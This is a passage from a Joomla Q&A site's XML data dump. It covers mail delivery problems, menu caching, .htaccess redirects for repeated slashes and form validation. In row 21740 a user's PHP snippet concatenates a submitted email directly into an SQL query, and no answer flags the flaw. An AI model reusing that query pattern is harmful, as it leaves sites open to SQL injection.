KA4M6t7V_8sS67XL5qeENnfuy1GZ8bcqm8aVIdaorxKvvEh_MIaW29PQaVLn&#xA; mMb.u9PgHgl0BcVqsY63mSi6lrgGH0yGnlPZqO4.ijhCij3Na9lKRvYK8t_C&#xA; 4xnyjqUKZhhXvmyR27FGQPSEu9e6Wxj_cjNqAN606bEmNRL9o_O8Cd6mlTu_&#xA; rRO6jKP_b96ZvHA.Rx7H.a22Cjb0j3PshMcHz4S0t5ssn9j_gXElFDJo0oES&#xA; a1wV5oZTaDB9LC0_o7NVulCNPYMKAZLIOs4JVMEhg1szGeNXhznSLy3YsFGT&#xA; JOwx3LQEdM2Rw53rhTCp9i6cUzgBXbJZSM1AydBmMY3Ig08xqFO.0ZTpBwTh&#xA; d8L4oDsMzUqN7cdT0m3mkdtbVD5SSr5VhlDsYvxT85HEhX0ckdl.t6bMnQjv&#xA; vvAtti.5bziGWuOupcHzHC.VP_xDOqmh1moe7DUDGmFJNxLXcwWz7LTNTKfu&#xA; IzW_A1nr1PQt5.8MJPrDHGGkdIMjwYXy.hxJGoS7iY70jirKL_o.Y3LPnr8M&#xA; QkNrmNDshRcrInxRd3v4KxGJH0gfBWtbSoJ8S8XboH9wBeKsydzqGXeM8WOJ&#xA; loXzPD86sdXm_uREpefmmr9xDwBOID6K8_qwe4TIGLMRJQSS_Hk51jkBFkA3&#xA; vulMvUPJJWsWpATO9KbanjHMGqf8_4ca4iMk8eDeyUyZwzO.D4zGXPECr2pG&#xA; 4.R8ptT0&#xA;X-Originating-IP: [27.123.24.221]&#xA;Authentication-Results: mta1557.mail.gq1.yahoo.com  from=site.com.au; domainkeys=neutral (no sig);  from=site.com.au; dkim=neutral (no sig)&#xA;Received: from 127.0.0.1  (EHLO server-65-r21.ipv4.au.syrahost.com) (27.123.24.221)&#xA;  by mta1557.mail.gq1.yahoo.com with SMTPS; Fri, 13 Oct 2017 01:39:16 +0000&#xA;Received: from server-6f-r7.ipv4.au.syrahost.com (unknown [27.124.114.231])&#xA;    by halon-out02.au.ds.network (Halon) with ESMTPS&#xA;    id 113bbcf3-afb5-11e7-964f-f8bc1204ff90;&#xA;    Fri, 13 Oct 2017 01:23:07 +0000 (UTC)&#xA;Received: from my.server by webcloud25.au.syrahost.com with local (Exim 4.87)&#xA;    (envelope-from )&#xA;    id 1e2ogj-002Pby-L5&#xA;    for my.email@yahoo.com; Fri, 13 Oct 2017 09:23:06 +0800&#xA;To: my.email@yahoo.com&#xA;Subject: Account Details for Test at Site&#xA;X-PHP-Script: site.com.au/index.php for 202.67.85.61&#xA;X-PHP-Filename: /path/my.server/public_html/site.com.au/index.php REMOTE_ADDR: 202.67.85.61&#xA;Date: Fri, 13 Oct 2017 01:22:57 +0000&#xA;From: Site Web &#xA;Reply-To: Site Admin &#xA;Message-ID: &#xA;MIME-Version: 1.0&#xA;Content-Type: text/plain; charset=utf-8&#xA;X-OutGoing-Spam-Status: No, score=0.8&#xA;X-AntiAbuse: This header was added to track abuse, please include it with any abuse report&#xA;X-AntiAbuse: Primary Hostname - webcloud25.au.syrahost.com&#xA;X-AntiAbuse: Original Domain - yahoo.com&#xA;X-AntiAbuse: Originator/Caller UID/GID - [6406 498] / [47 12]&#xA;X-AntiAbuse: Sender Address Domain - webcloud25.au.syrahost.com&#xA;X-Get-Message-Sender-Via: webcloud25.au.syrahost.com: authenticated_id: my.server/from_h&#xA;X-Authenticated-Sender: webcloud25.au.syrahost.com: web@site.com.au&#xA;X-Source: &#xA;X-Source-Args: /usr/sbin/proxyexec -q -d -s /var/lib/proxyexec/cagefs.sock/socket /bin/cagefs.server &#xA;X-Source-Dir: /&#xA;Content-Length: 446&#xA;&#xA;Hello Test,&#xA;&#xA;Thank you for registering at Site. Your account is created and must be activated before you can use it.&#xA;To activate the account select the following link or copy-paste it in your browser:&#xA;https://site.com.au/login?task=registration.activate&amp;token=7ae5bfdebc0e204a664175b96c632d0c &#xA;&#xA;After activation you may login to https://site.com.au/ using the following username and password:&#xA;&#xA;Username: test&#xA;Password: 123456## Heading ##&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Original&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm having a problem getting Joomla to send the user registration / activation emails, and getting it to send the Test Email on the Server-&gt;Email settings section. I have multiple websites running on the server and they're all having the same issue. Joomla is up to date and PHP Version 7.0.23&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried just making a test php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;mail('my.email.address@gmail.com','This is a test message subject','This is a test message body');&#xA;echo 'Mail sent.'; &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No errors come up, and the mail() call returns True, but nothing gets sent. The mail.log file shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[13-Oct-2017 00:56:30 UTC] mail() on [/path/public_html/website.com.au/dev/mailtest.php:2]: To: my.email.address@gmail.com -- Headers: &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There aren't any email problems on other parts of the site.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sending a mass mail works&lt;/li&gt;&#xA;&lt;li&gt;Chronoforms is correctly sending emails&lt;/li&gt;&#xA;&lt;li&gt;Creating a user in the backend of the page will send the &quot;You have been added as a user&quot; email&lt;/li&gt;&#xA;&lt;li&gt;The site sends notifications when a Joomla update is available&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm using PHP Mail - using SMTP is not really viable.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the mail.log file I have two types of entries&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This is from using Mass Mail, and is an email that was actually sent&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;    [13-Oct-2017 00:21:32 UTC] mail() on [/path/public_html/site.com.au/libraries/vendor/phpmailer/phpmailer/class.phpmailer.php:700]: To: web@site.com.au -- Headers: Date: Fri, 13 Oct 2017 00:21:32 +0000 From: Ite Web  Bcc: andrew@site.com Message-ID:  MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;This is from user registration, and this email was NOT sent&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;    [13-Oct-2017 01:22:57 UTC] mail() on [/path/public_html/site.com.au/libraries/vendor/phpmailer/phpmailer/class.phpmailer.php:698]: To: my.email@yahoo.com -- Headers: Date: Fri, 13 Oct 2017 01:22:57 +0000 From: Site Web  Reply-To: Site Admin  Message-ID:  MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the one that DOESN'T work goes to line 698 - and the line above that is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;if (ini_get('safe_mode') or !$this-&gt;UseSendmailOptions or is_null($params)) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it appears user activation emails are being sent using SendmailOptions or something ? This shouldn't have any bearing on the custom PHP code not working though.&lt;/p&gt;&#xA;" OwnerUserId="11288" LastEditorUserId="11288" LastEditDate="2017-10-13T23:08:24.100" LastActivityDate="2018-11-10T01:00:55.160" Title="Joomla registration emails and PHP mail() taking hours to deliver" Tags="|php|emails|joomla3.8|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21724" PostTypeId="2" ParentId="10331" CreationDate="2017-10-13T06:57:58.470" Score="2" Body="&lt;p&gt;Just a little update on this : since Joomla 3.8, one can directly choose the Layout in the Menu Item &gt; Articles &gt; Blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That menu item has to be Published of course, but it can be Hidden (also an option in the Menu item).&#xA;And all the articles of the chosen Category will have the assigned Layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cool !&lt;/p&gt;&#xA;" OwnerUserId="11668" LastActivityDate="2017-10-13T06:57:58.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21725" PostTypeId="2" ParentId="19442" CreationDate="2017-10-13T14:04:27.777" Score="2" Body="&lt;p&gt;I have been meaning to provide an update for some time. I solved this problem with &lt;a href=&quot;https://github.com/civicrm/civicrm-joomla/pull/43/files&quot; rel=&quot;nofollow noreferrer&quot;&gt;two&lt;/a&gt; pull &lt;a href=&quot;https://github.com/civicrm/civicrm-core/pull/10344/files&quot; rel=&quot;nofollow noreferrer&quot;&gt;requests&lt;/a&gt; to CiviCRM a few months ago. My memory is fading, and I might have some of the Joomla terminology wrong -- edits welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first pull request makes changes to the component (i.e., the Joomla parts). Basically, instead of using the &lt;code&gt;rules&lt;/code&gt; form field type, I created a new type &lt;code&gt;civiperms&lt;/code&gt;, which is an extension of the former. I overrode that class's &lt;code&gt;getInput()&lt;/code&gt; method so I could &lt;a href=&quot;https://github.com/civicrm/civicrm-joomla/pull/43/files#diff-aa4d1e44073f75c658e0880b707a0c5cR69&quot; rel=&quot;nofollow noreferrer&quot;&gt;put&lt;/a&gt; a &lt;a href=&quot;https://github.com/civicrm/civicrm-joomla/pull/43/files#diff-aa4d1e44073f75c658e0880b707a0c5cR279&quot; rel=&quot;nofollow noreferrer&quot;&gt;wrapper&lt;/a&gt; around &lt;code&gt;JAccess::getActions()&lt;/code&gt;, which is responsible for getting the permissions from &lt;code&gt;access.xml&lt;/code&gt;. The rest of the method is unchanged. My wrapper queries CiviCRM for any dynamically added permissions and appends those to the ones Joomla found on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second pull request is more concerned with CiviCRM-isms and is not likely of interest to anyone trying to solve this problem for a different platform.&lt;/p&gt;&#xA;" OwnerUserId="9874" LastActivityDate="2017-10-13T14:04:27.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21727" PostTypeId="1" AcceptedAnswerId="21728" CreationDate="2017-10-14T11:04:36.487" Score="0" ViewCount="123" Body="&lt;p&gt;I need to create a custom module with his own menu, when I click on that menu I want to display an article. For adding the menu I don't have any problem. The thing is when I click on the second menu I'm redirected to the article and I want to show it inside the page. How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://content.screencast.com/users/VallatMa/folders/Jing/media/b777c845-ef22-4605-a6a1-8faa72ec9dfe/2017-10-14_1256.png&quot; alt=&quot;menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;joomla version: 3.8.1&lt;/p&gt;&#xA;" OwnerUserId="11671" LastActivityDate="2017-10-14T12:50:49.757" Title="Custom module with menu and multiple articles" Tags="|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21728" PostTypeId="2" ParentId="21727" CreationDate="2017-10-14T12:50:49.757" Score="1" Body="&lt;p&gt;You have a few options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One would to load all the sub pages on the initial page load but have only the active one showing. When one of the menu items is clicked the content is switched out via javascript (ie, hide the current page, show the new page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to have javascript make an AJAX call to grab the data for the selected menu item and then switch out the current article for the selected one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first option would increase page load time slightly but loading each article afterwards would be instant. The second option wouldn't increase the initial load time but when the menu items are clicked there will be a slight delay as the browser waits for the selected article's data to return from the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another completely different option would be to have an iframe and load the articles in the iframe (you can use the tmpl=component query variable to only load the article in the iframe, without the rest of the template). I don't recommend this route for a number of reasons (SEO, usability, mobile-friendliness, etc).&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-10-14T12:50:49.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21729" PostTypeId="1" CreationDate="2017-10-14T16:45:57.990" Score="1" ViewCount="366" Body="&lt;p&gt;In admin, I click on option &quot;Menu&quot; and unpublish a menu item, I get the message &quot;successfully unpublished.&quot; The little red dot appears to the left of the item title. Clicking on the menu title in the admin, it shows that it is unpublished (bar on right is red). Yet on the front end the item is still there in the drop down menu. I've even put a menu title in the trash, but it still appears on the front end. Am I missing a step?? Am on Joomla most recent version all updated. &lt;strong&gt;NOTE: This problem is specific to the menu! All article and module changes DO reflect on the front end.&lt;/strong&gt; Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="11672" LastEditorUserId="11672" LastEditDate="2017-10-15T10:15:26.217" LastActivityDate="2017-11-15T12:33:47.207" Title="Unpublished menu item changes do not appear on the front end, while all other changes do!" Tags="|menu-item|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21730" PostTypeId="2" ParentId="21729" CreationDate="2017-10-14T17:54:22.673" Score="1" Body="&lt;p&gt;You don't say if you built this site yourself, but my suspicion would be that the menu has not been created by Joomla's core menu module, but instead has been hardcoded somewhere. Have you ever made drop down menu changes via the menu manager that are reflected on the front end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you able to find the menu under Extentions &gt; Modules.  If so, is it of the type &quot;menu&quot;, and does it vanish if you unpublish the module.  If so, look at the files under templates/YOURTEMPLATE/html/mod_menu to see if the layout has been overridden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a chance it is also a caching thing.  Updating a menu item should flush the cache, but it might be worth going to System &gt; Clear Cache, and also giving your browser's cache a force refresh.  Are other changes appearing?&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-10-14T17:54:22.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21731" PostTypeId="1" CreationDate="2017-10-15T16:33:01.867" Score="0" ViewCount="87" Body="&lt;p&gt;I can't make a responsive footer in joomla.&#xA;The problem manifests itself when using the spoiler widget (Shortcode Ultimate &lt;a href=&quot;http://bdthemes.net/demo/joomla/shortcode/en/shortcodes/spoiler.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bdthemes.net/demo/joomla/shortcode/en/shortcodes/spoiler.html&lt;/a&gt;)&#xA;When you open the spoiler, the information that is in it goes behind the footer and is not visible. It is necessary that when the spoiler is opened, the footer automatically shifts down, depending on the content of the spoiler.&#xA;Screen and link I attach:&#xA;Pic: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/doThq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/doThq.png&quot; alt=&quot;Spoiler Issue&quot;&gt;&lt;/a&gt;&#xA;Url:&#xA;&lt;a href=&quot;http://miku.sky-soft.com.ua/index.php/drukovani-visited&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://miku.sky-soft.com.ua/index.php/drukovani-visited&lt;/a&gt;&#xA;Click on the first right item with the icon of the graduation cap&#xA;Help, please with a problem!&#xA;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="9373" LastActivityDate="2024-03-13T12:04:25.500" Title="Responsive footer issue with spoiler. Joomla (JSN Megazine PRO template)" Tags="|joomla-3.x|responsive-web-design|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21732" PostTypeId="1" AcceptedAnswerId="21743" CreationDate="2017-10-15T20:33:27.073" Score="1" ViewCount="496" Body="&lt;p&gt;I recently updated to Joomla 3.8.1 and am getting warning messages on a certain page (below). If I turn off caching then the error goes away but I would like caching on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: mysqli::stat(): Couldn't fetch mysqli in /home/***/libraries/joomla/database/driver/mysqli.php on line 209&#xA;&#xA;Warning: mysqli_close(): Couldn't fetch mysqli in /home/***/libraries/joomla/database/driver/mysqli.php on line 216&#xA;&#xA;Warning: mysqli::stat(): Couldn't fetch mysqli in /home/***/libraries/joomla/database/driver/mysqli.php on line 209&#xA;&#xA;Warning: mysqli_close(): Couldn't fetch mysqli in /home/***/libraries/joomla/database/driver/mysqli.php on line 216&#xA;&#xA;Warning: mysqli::stat(): Couldn't fetch mysqli in /home/***/libraries/joomla/database/driver/mysqli.php on line 209&#xA;&#xA;Warning: mysqli_close(): Couldn't fetch mysqli in /home/***/libraries/joomla/database/driver/mysqli.php on line 216&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7998" LastEditorUserId="168" LastEditDate="2017-10-15T20:57:22.237" LastActivityDate="2017-10-17T12:25:15.140" Title="Warnings after update" Tags="|joomla-3.x|cms|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21733" PostTypeId="2" ParentId="21731" CreationDate="2017-10-15T23:40:16.610" Score="0" Body="&lt;p&gt;You could add a bottom margin or padding to your  element ( or wherever most appropriate) that is the height of your footer bar. That way there will always be room under your content and nothing will get stuck behind your footer bar ( for not just your spoiler extension but any content).&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-10-15T23:40:16.610" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21734" PostTypeId="2" ParentId="5550" CreationDate="2017-10-16T09:38:40.733" Score="1" Body="&lt;p&gt;I'm surprised that I haven't seen &lt;a href=&quot;http://www.form2content.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Form2Content CCK&lt;/a&gt; in any of the lists yet. A relative low learning curve and has good and simple front-end management options. Article templating using Smarty provides flexibility for &quot;dynamic&quot; effects like default image or text.&lt;/p&gt;&#xA;" OwnerUserId="11677" LastActivityDate="2017-10-16T09:38:40.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21735" PostTypeId="2" ParentId="21729" CreationDate="2017-10-16T12:22:12.220" Score="1" Body="&lt;p&gt;&lt;strong&gt;Problem resolved.&lt;/strong&gt; Our site has two parallel menus for the menu item I was wanting to &lt;em&gt;unpublish&lt;/em&gt;: Main Menu and Global Locations. In order for the changes to reflect on the front end, the changes need to be made in &lt;strong&gt;both&lt;/strong&gt; menus and I had only changed one of them. Many thanks to Richard B and Drew G for your feedback and suggestions!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZuPNG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZuPNG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11672" LastActivityDate="2017-10-16T12:22:12.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21736" PostTypeId="1" AcceptedAnswerId="21737" CreationDate="2017-10-16T13:26:16.113" Score="1" ViewCount="664" Body="&lt;p&gt;I'm having a bit of a strange problem on a couple of Joomla sites and I'm not really sure where to start with figuring out what the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I crawl the site with Screaming frog, I am getting duplicate URL's in the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mydomain.com/contact&#xA;mydomain.com//contact&#xA;mydomain.com///contact&#xA;mydomain.com////contact&#xA;mydomain.com/////contact&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So on and so on...any idea's how I can prevent this and/or do you know what is causing it? The site I am currently looking at has Joomsef installed but there does not seem to be any configuration settings to tackle this and their support is pretty rubbish thus i am no longer using the extension on new builds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be tackled in the .htaccess?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="11648" LastEditDate="2017-10-17T10:24:10.080" LastActivityDate="2024-01-05T16:19:28.763" Title="Multiple Slashes in URL" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21737" PostTypeId="2" ParentId="21736" CreationDate="2017-10-16T16:15:08.397" Score="1" Body="&lt;p&gt;This is the way how the Joomla Router works, he ignores multiple slashes.&#xA;If you want to prevent this than you have to add something to you htaccess file. To redirect such requests:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this in your htaccess before you see this line &lt;code&gt;RewriteBase /&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} ^/?([^/]+)//+(.*)$&#xA;RewriteRule ^.*$ /%1/%2 [R=301,L]&#xA;&#xA;RewriteCond %{THE_REQUEST} ^[A-Z]{3,7}\s//+(.*)\sHTTP.*$&#xA;RewriteRule ^.*$ /%1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first two lines will redirect if you have multiple slashes somewhere in your request, but not at the beginning. The second part is redirecting if you have multiple slashes at the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I tested this positive on Apache 2.4&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="11648" LastActivityDate="2017-10-16T16:15:08.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21738" PostTypeId="2" ParentId="15301" CreationDate="2017-10-16T16:27:18.727" Score="0" Body="&lt;p&gt;Right now what you request is not possible. I find this behavior very annoying and I will send a pull request to Joomla developers to change this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile, you can use the redirect functionality to redirect your pages. For example, let's say that you have a page httx://yoursite.com/en/products.html, but you want to use the url httx://yoursite.com/products.html, then you have to create a redirection url in the Redirect Extension from /products.html to /en/products.html. The bad thing is that you must do this for every url you want to remove the language suffix.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think too, this should be automatically calculated by Joomla.&lt;/p&gt;&#xA;" OwnerUserId="3453" LastEditorUserId="3453" LastEditDate="2017-10-16T16:32:30.533" LastActivityDate="2017-10-16T16:32:30.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21739" PostTypeId="2" ParentId="21716" CreationDate="2017-10-16T23:17:41.320" Score="1" Body="&lt;p&gt;@Lodder -- thank you, Lodder, you gave me the code I needed to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had been altering the wrong lines; I toiled for hours and finally realized the fact, so it ended up being much easier than expected to add your code to the file. It now looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$group_id = 12;&#xA;&#xA;if (in_array($group_id, $user-&amp;gt;getAuthorisedGroups()))&#xA;{&#xA;    echo '&amp;lt;h3&amp;gt;&amp;lt;a class=&quot;title&quot; href=&quot;'.DJClassifieds2SEO::getItemRoute($i-&amp;gt;id.':'.$i-&amp;gt;alias,$i-&amp;gt;cat_id.':'.$i-&amp;gt;c_alias).$anch.'&quot; &amp;gt;'.$i-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;';&#xA;} else {&#xA;    echo '&amp;lt;h3&amp;gt;&amp;lt;a class=&quot;title&quot; href=&quot;/signup&quot; &amp;gt;'.$i-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did a little research online and added the &lt;code&gt;else&lt;/code&gt; part, it seems to work fine!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm so happy (and proud of myself) -- but @Lodder made it happen, and I'm eternally grateful. Thank you again for your support @Lodder, you're a star!&lt;/p&gt;&#xA;" OwnerUserId="11664" LastEditorUserId="11451" LastEditDate="2017-11-12T10:12:29.700" LastActivityDate="2017-11-12T10:12:29.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21740" PostTypeId="1" AcceptedAnswerId="21742" CreationDate="2017-10-17T09:17:35.187" Score="0" ViewCount="532" Body="&lt;p&gt;I've created a form using BreezingForms(free). Before submitting the form I'm checking if the entered email address is unique using the &quot;Before submit&quot; field in my form settings. The code I am using is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;execPieceByName('ff_InitLib');&#xA;&#xA;$email = '\'' . ff_getSubmit('email_test') . '\''; &#xA;$value = ff_selectValue('SELECT * FROM kvkfr_users WHERE email= ' . &quot;$email&quot;);&#xA;&#xA;if($value != ''){&#xA;echo &quot;&amp;lt;script&amp;gt; alert('Email is not unique'); &amp;lt;/script&amp;gt;&quot;;&#xA;exit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My code runs as expected and if a duplicate email address is found I am getting the &quot;Email is not unique&quot; alert, but after that my page refreshes and I get a blank white page.I just want to stop the submitting process without refreshing the page(if possible). What should I use instead of &lt;code&gt;exit()&lt;/code&gt; to stop the submitting process and stay on the page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. Should I use &lt;code&gt;ff_selectValue()&lt;/code&gt; or Joomlas database object to execute my query? &lt;/p&gt;&#xA;" OwnerUserId="11652" LastEditorUserId="11652" LastEditDate="2017-10-17T10:03:16.280" LastActivityDate="2017-10-17T11:58:43.440" Title="BreezingForms unique user email validation problem" Tags="|joomla-3.x|php|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21741" PostTypeId="2" ParentId="21736" CreationDate="2017-10-17T10:48:47.707" Score="1" Body="&lt;p&gt;Before answering your question, let me first comment on the answer by @Webdesigner. By default, any website in the world will work with multiple slashes. Many of these websites (especially the Apache powered websites) will automatically remove the multiple slashes because it seems to be &lt;a href=&quot;https://stackoverflow.com/a/8699686/916491&quot;&gt;against the standard&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, going back to the original question, it might be that there is an error in the structure of the menu, or it might be that JoomSEF (or another extension) is causing this mess. Joomla, by default, doesn't do that. First, try disabling JoomSEF (revert back to Joomla's own SEF) and see if that fixes the problem, if it doesn't, then try disabling non core plugins one by one. If the problem is still there, then try disabling menu items one by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final note: The issue might be caused by a bug in the screaming frog software, so maybe try another software.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-10-17T10:48:47.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21742" PostTypeId="2" ParentId="21740" CreationDate="2017-10-17T11:58:43.440" Score="0" Body="&lt;p&gt;I've managed to achieve the wanted functionality! Here is how: &lt;a href=&quot;https://crosstec.org/en/forums/35-form-help/121605-unique-email-server-validation.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;crosstec forums&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11652" LastActivityDate="2017-10-17T11:58:43.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21743" PostTypeId="2" ParentId="21732" CreationDate="2017-10-17T12:25:15.140" Score="0" Body="&lt;p&gt;First of all, try disabling error reporting in your configuration settings (setting it to &quot;none&quot; instead of &quot;default&quot; or &quot;maximum&quot;) will hide all the errors/warnings/notices. In fact, error reporting should be set to &quot;none&quot; on all production sites, for security reasons and to maintain a professional look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this error happens when you try to close the connection after the connection has already been closed. Since the problem happens when caching is enabled, then try switching the order of the plugins, where the K2 system plugin is before the System - Page Cache plugin. This might fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the problem is happening when you are not using the Cache plugin (check the Conservative Caching), then try updating the K2 extension and see if that fixes the problem. If it doesn't, or if you already using the latest version (currently 2.8.0) then try reporting the problem to the K2 team. They may have something to say about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, the problem is a core Joomla problem, where the function &lt;code&gt;disconnect&lt;/code&gt; doesn't really check if the connection is open before closing it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said all the above, consider disabling caching if you don't have a large website. Quite often, the disadvantages of Joomla caching far outweigh its advantages.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-10-17T12:25:15.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21744" PostTypeId="2" ParentId="97" CreationDate="2017-10-17T18:13:55.143" Score="0" Body="&lt;p&gt;The solution by @ContextSwitch wasnt working for me due to some scripts were being loaded after the template was processed so unsetting the files at that stage had no effect on those files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I had to implement the similar solution but using a simple plugin bound to &lt;code&gt;onBeforeCompileHead&lt;/code&gt; event. As described by me &lt;a href=&quot;https://stackoverflow.com/a/46796527/807104&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2017-10-17T18:13:55.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
